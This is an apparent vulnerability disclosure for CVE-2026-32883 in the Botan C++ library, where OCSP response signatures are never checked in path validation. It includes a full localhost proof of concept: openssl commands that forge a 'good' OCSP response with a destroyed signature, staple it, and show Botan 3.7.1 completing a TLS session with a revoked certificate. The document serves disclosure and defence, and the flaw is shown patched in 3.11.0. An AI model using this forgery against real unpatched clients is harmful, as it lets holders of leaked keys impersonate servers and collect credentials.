Document signed, signature unchecked

revocation checked, authorised, no

Discovered 19 Mar 2026 · Updated 30 Mar 2026

Botan is a general-purpose C++ cryptography library shipping a policy module for Germany's BSI TR-02102-1 algorithm recommendations, with Rohde & Schwarz Cybersecurity engineers among its largest contributors. Across releases 3.0 through 3.10 it ships a function that verifies the signature on a revocation record, ships a unit test that only ever asks that function to accept, and routes around it at runtime. Any TLS server stapling its own revocation record, or anyone on the wire between client and responder, lifts the revocation gate by signing the bytes with a key the authority never held.

> *Botan finds responder, matches their certificate, never sees authorisation --- forgers welcomed into critical infrastructure.*

A revoked TLS certificate is one the certificate authority (CA) has taken back, a key the operator is asking the world to stop trusting because it leaked or the server was breached. A client learns of that revocation through OCSP, the Online Certificate Status Protocol: it asks the CA's responder "is this serial still good?", the responder answers "good" or "revoked", and the answer is signed so an attacker can't lie about it. Botan implements all three steps. The signature check is last and is missing from the only path that runs.

The mechanism is the dead-code class. A guard function lives in the source tree, exhibits correct behaviour under test, looks like a working safety net when you read it. The runtime path skips past it: The call site that would invoke the guard simply never got written. Static analysis sees the function defined, the tests see it pass, code review sees it present; only a wire-level test catches that nobody is on the other end.

In the OCSP case the consequences are specific. An attacker who can sit on the path between a Botan application and the OCSP responder, or who controls a TLS server that staples its own response, presents Botan with bytes claiming "this revoked certificate is still good", signed with a key the authority never held, signed with a corrupted scribble, signed with this morning's coin flip. Botan reads the byte that says "good", and returns "Verified". The revoked certificate, the leaked key, the seized server — the bytes that said any of that were never checked.

Don't trust, verify: Revocation forged, Botan connects

The attack is one flag. Stock `openssl ocsp` mints a status record the responder really signed; `-badsig` then corrupts that signature and leaves every other byte where it was:

```
# a throwaway certificate authority and one localhost server certificate, then
# two answers over its serial: the authority's own, revoked and honestly
# signed, and one saying good with its CA signature destroyed by -badsig.
# The certificate names a responder the way a real one does; every run here
# is stapled, so nothing dials it.

$ openssl req -x509 -newkey rsa:2048 -nodes -days 30 -keyout ca.key \
    -out ca.crt -subj '/CN=DEADCODE Test CA'
$ openssl req -newkey rsa:2048 -nodes -keyout server.key -out server.csr \
    -subj /CN=localhost -addext subjectAltName=DNS:localhost \
    -addext 'authorityInfoAccess=OCSP;URI:http://127.0.0.1:18888'
$ openssl x509 -req -in server.csr -CA ca.crt -CAkey ca.key -set_serial 1 \
    -days 7 -copy_extensions=copyall -out server.crt
$ openssl ocsp -issuer ca.crt -cert server.crt -reqout req.der -no_nonce
$ printf 'R\t301231235959Z\t260301000000Z\t01\tunknown\t/CN=localhost\n' \
    > index-revoked.txt
$ openssl ocsp -index index-revoked.txt -CA ca.crt -rsigner ca.crt \
    -rkey ca.key -reqin req.der -respout resp_revoked.der -ndays 7 -no_nonce
$ printf 'V\t301231235959Z\t\t01\tunknown\t/CN=localhost\n' > index-good.txt
$ openssl ocsp -index index-good.txt -CA ca.crt -rsigner ca.crt -rkey ca.key \
    -reqin req.der -respout resp_forged.der -ndays 7 -no_nonce -badsig
```

Both records answer the same request, minted once as `req.der`, over one serial and one certificate. Stock OpenSSL does the serving, and which record it staples (the authority's own answer, or the forgery saved as `resp_forged.der`) is the only thing that changes from one run to the next. The honest record first:

```
# the certificate authority's own answer, stapled on every handshake: the
# revocation reaches the client the way the protocol intends. The answer this
# server will send is queued on its own input, and tail holds that input open,
# since a plain s_server exits the moment it closes. Server chatter goes to
# server.log, or it interleaves with the client's below.

$ { printf 'HTTP/1.0 200 ok\n\nbalance: 0.00\n' ; tail -f /dev/null ; } | \
    openssl s_server -accept 18889 -cert server.crt -key server.key \
    -CAfile ca.crt -status -status_file resp_revoked.der -tls1_2 > server.log \
    2>&1 &
```

Point Botan 3.7.1 at it, with our test CA as its only trust anchor and a bearer credential in the request it sends:

```
$ botan-3.7.1/botan version
3.7.1
$ { printf 'GET / HTTP/1.0\nAuthorization: Bearer 9f4c1e7b2a8d\n\n' ; sleep 2 \
    ; } | timeout 20 botan-3.7.1/botan tls_client localhost --port=18889 \
    --tls-version=1.2 --trusted-cas=ca.crt --skip-system-cert-store
Error: Certificate validation failure: Certificate is revoked
```

The client refuses, names revocation. Nothing crosses: the credential never leaves the client, and the answer the server had queued never arrives. So, the revocation machinery works, every field the verdict turns on is read — every field except the one that proves who wrote it.

Now the forgery. OpenSSL's own verifier is the strict reference, and it refuses the record outright. The status byte sitting inside those same bytes still reads good, and the responder ID still names the CA, which is what a "who signed this?" lookup reads:

```
$ openssl ocsp -respin resp_forged.der -CAfile ca.crt -issuer ca.crt \
    -cert server.crt -no_nonce
Response Verify Failure
server.crt: good

$ openssl ocsp -respin resp_forged.der -resp_text -noverify \
    -out resp_forged.txt
$ grep 'Responder Id' resp_forged.txt
   Responder Id: CN = DEADCODE Test CA
```

Now put the forgery in its place, changing nothing else:

```
# the same server and the same certificate, with the forged record stapled in
# place of the certificate authority's answer.

$ { printf 'HTTP/1.0 200 ok\n\nbalance: 0.00\n' ; tail -f /dev/null ; } | \
    openssl s_server -accept 18889 -cert server.crt -key server.key \
    -CAfile ca.crt -status -status_file resp_forged.der -tls1_2 > server.log \
    2>&1 &
```

Then the same client again:

```
$ { printf 'GET / HTTP/1.0\nAuthorization: Bearer 9f4c1e7b2a8d\n\n' ; sleep 2 \
    ; } | timeout 20 botan-3.7.1/botan tls_client localhost --port=18889 \
    --tls-version=1.2 --trusted-cas=ca.crt --skip-system-cert-store
Certificate validation status: Verified
Valid OCSP response for this server
Handshake complete, TLS v1.2
Negotiated ciphersuite ECDHE_RSA_WITH_AES_256_GCM_SHA384
Handshake complete
HTTP/1.0 200 ok
balance: 0.00
```

`Verified`, and the stapled record accepted as a valid OCSP response for this server. Botan 3.7.1 completed a TLS session with a certificate its own trust anchor had revoked, on the strength of a signature OpenSSL had just refused and Botan never read, and then read the answer that came back over it. One server, one certificate, two records: the one the authority signed stops the client dead, the corrupted scribble waves it through. The revocation check ran without ever checking revocation.

Trace to vulnerability site: Guard defined, one call in a test

Botan's OCSP module defines the guard. Across the X.509 module and the OCSP test, eight sites carry the name `verify_signature`:

```
$ cd botan-3.7.1
$ grep -rn verify_signature src/lib/x509 src/tests/test_ocsp.cpp
src/lib/x509/x509_obj.cpp:97:   const auto result = this->verify_signature(pub_key)
src/lib/x509/x509_obj.cpp:101:std::pair<Certificate_Status_Code, std::string> X509_
src/lib/x509/ocsp.cpp:158:Certificate_Status_Code Response::verify_signature(const 
src/lib/x509/x509path.cpp:76:            const auto sig_status = subject.verify_sig
src/lib/x509/ocsp.h:172:      Certificate_Status_Code verify_signature(const X509_C
src/lib/x509/x509cert.cpp:287:            const auto sig_status = obj.verify_signat
src/lib/x509/x509_obj.h:70:      std::pair<Certificate_Status_Code, std::string> ve
src/tests/test_ocsp.cpp:406:                         ocsp.verify_signature(respon
```

Five of them belong to a different function that happens to share the name, the certificate-object check `X509_Object::verify_signature`: its declaration, its definition, and its three call sites. The OCSP guard accounts for the other three: a declaration in `ocsp.h`, a definition in `ocsp.cpp`, and a single call at line 406 of `test_ocsp.cpp`. That guard extracts the signer's public key, checks the signature over the response's `tbsResponseData`, and returns signature-ok or signature-error. The body is correct, the unit test is green, and the only code that calls it is that unit test.

The production path is `PKIX::check_ocsp` in `x509path.cpp`, the function that ingests an OCSP response and decides whether the certificate is good:

```
$ grep -nE 'PKIX::check_ocsp(_online)?\(' src/lib/x509/x509path.cpp
307:CertificatePathStatusCodes PKIX::check_ocsp(const std::vector<X509_Certificate>
460:CertificatePathStatusCodes PKIX::check_ocsp_online(const std::vector<X509_Certi
519:   return PKIX::check_ocsp(cert_path, ocsp_responses, trusted_certstores, ref_t
919:         ocsp_status = PKIX::check_ocsp(cert_path, ocsp_resp, trusted_roots, re
924:         ocsp_status = PKIX::check_ocsp_online(cert_path, trusted_roots, ref_ti
$ sed -n 326,348p src/lib/x509/x509path.cpp
         try {
            const auto& ocsp_response = ocsp_responses.at(i);

            if(auto dummy_status = ocsp_response->dummy_status()) {
               // handle softfail conditions
               status.insert(dummy_status.value());
            } else if(auto signing_cert =
                         ocsp_response->find_signing_certificate(ca, restrictions.t
                      !signing_cert) {
               status.insert(Certificate_Status_Code::OCSP_ISSUER_NOT_FOUND);
            } else if(auto ocsp_signing_cert_status =
                         verify_ocsp_signing_cert(signing_cert.value(),
                                                  ca,
                                                  concat(ocsp_response->certificate
                                                  certstores,
                                                  ref_time,
                                                  restrictions);
                      ocsp_signing_cert_status > Certificate_Status_Code::FIRST_ERR
               status.insert(ocsp_signing_cert_status);
               status.insert(Certificate_Status_Code::OCSP_ISSUER_NOT_TRUSTED);
            } else {
               status.insert(ocsp_response->status_for(ca, subject, ref_time, restr
            }
```

Two ways in, one decision. A stapled response goes straight from `x509_path_validate` to `check_ocsp`, at line 919; where there is no staple the same validator fetches one through `check_ocsp_online`, at 924, and that returns through `check_ocsp` as well, at 519. Every revocation answer path validation reaches for is decided in the body quoted beneath them.

The pipeline does three things. Step one, `find_signing_certificate`, finds the certificate the response claims to be signed by. Step two, `verify_ocsp_signing_cert`, validates that certificate's own chain back to a trust root. Step three, `status_for`, reads the status byte out of the response. Every method the path invokes on the response object belongs to one of those steps:

```
$ grep -n 'ocsp_response->' src/lib/x509/x509path.cpp
329:            if(auto dummy_status = ocsp_response->dummy_status()) {
333:                         ocsp_response->find_signing_certificate(ca, restrictio
339:                                                  concat(ocsp_response->certifi
347:               status.insert(ocsp_response->status_for(ca, subject, ref_time, r
```

Four calls. The softfail shortcut `dummy_status`; step one's `find_signing_certificate`; `certificates`, the responder's own chain handed to step two; and `status_for`, the status byte. The cryptographic signature over the bytes between the two ends (the bytes that say "this certificate is good") is never read.

The guard that would read them sits one file over, its unit test green.

Fix: the call that was already written

The same forgery, the same server, against the release that carries the fix. The appendix builds both trees from their release tags, so a verifier can stand the two clients side by side against one server:

```
$ botan-3.11.0/botan version
3.11.0
$ { printf 'GET / HTTP/1.0\nAuthorization: Bearer 9f4c1e7b2a8d\n\n' ; sleep 2 \
    ; } | timeout 20 botan-3.11.0/botan tls_client localhost --port=18889 \
    --tls-version=1.2 --trusted-cas=ca.crt --skip-system-cert-store
Error: Certificate validation failure: OCSP signature error
```

No handshake, and the client names the reason: an OCSP signature error. Nothing about the deployment changed — only the release did.

Scope

Any Botan application that consults OCSP is affected. The demonstration takes the stapled route, because that is the shape a maintainer meets; the route the response arrives by changes nothing, since `check_ocsp_online` ends in `return PKIX::check_ocsp` at `x509path.cpp:519` — the same body, with the same check absent. The `AC:H` records the one prerequisite the defect does not remove: the attacker still needs a certificate chaining to a root the client trusts, which it would otherwise reject as revoked — in practice, a key that leaked before its revocation was published.

Discovered 2026-03-19. Targets: Botan 3.7.1 (vulnerable) and 3.11.0 (patched), both built from upstream source at their release tags; affected range Botan 3.0.0 through 3.10.x. CWE-347 · CVSS 7.4 High (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).

Detected & exploited by cybernuke — cybernuke.bensmyth.com.

Updated 30 Mar 2026 — an independent, parallel discovery, and an n-day: Botan had already shipped the remediation in 3.11.0, released 15 Mar 2026, four days ahead of Cybernuke's find — wiring up the existing `verify_signature` call after Haruto Kimura reported the same gap. The release also added the test the vulnerable line never had, tampering with a signature and asserting the check rejects it. CVE-2026-32883 (advisory GHSA-9j2j-hqmc-hf5x) followed on 29 Mar 2026, affecting Botan 3.0.0–3.10.x.

GitHub Security Advisories, as the assigning authority, published 5.9 Medium on `AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N`; the National Vulnerability Database ingested it on 30 Mar 2026 and analysed the record without adding an assessment of its own. Cybernuke publishes 7.4 High on the same vector but for `C:H`. Every other metric agrees.

The disagreement is over what a client loses when the revocation gate fails open. A revoked certificate is a key somebody else is presumed to hold: that is what revocation says. So a client that accepts one is not merely reading a wrong answer, it is opening an authenticated session to the party holding the leaked key and handing over whatever that session carries.

CVSS 3.1 sets Confidentiality High where "access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact", and names an attacker stealing credentials as the example. That is this defect exactly, and it is the one impact the demonstration above witnesses in the receiver's own state rather than arguing: the harness plants a bearer credential in the client's request and greps it back out of the terminal of the server whose certificate the authority had revoked. `C:N` would say the client hands the wrong party nothing at all.

Appendix: standing it up

Everything a maintainer needs is above. What follows is the wiring: the two trees the clients above were run from. It is here so that a verifier whose own reconstruction disagrees with ours can find out whose fault that is.

```
# both targets, built from upstream source. Every command that follows runs
# from the directory these two clones land in. Needs git, python3, a C++20
# compiler and OpenSSL; scale -j2 to the machine.

$ git clone --depth 1 --branch 3.7.1 https://github.com/randombit/botan \
    botan-3.7.1
$ cd botan-3.7.1
$ ./configure.py --minimized-build --disable-shared-library \
    --enable-modules=tls12,ecdh,pcurves_secp256r1,emsa_pssr,system_rng,socket
$ make -j2 libs cli
$ cd ..

$ git clone --depth 1 --branch 3.11.0 https://github.com/randombit/botan \
    botan-3.11.0
$ cd botan-3.11.0
$ ./configure.py --minimized-build --disable-shared-library \
    --enable-modules=tls12,ecdh,pcurves_secp256r1,emsa_pssr,system_rng,socket
$ make -j2 libs cli
$ cd ..

$ git -C botan-3.7.1 rev-parse HEAD
09cc7f97ceb828c19461b2a63f820d3226bb921b
$ git -C botan-3.11.0 rev-parse HEAD
4f6f5bbaf7263ca6062e6644950ae30625f06490
```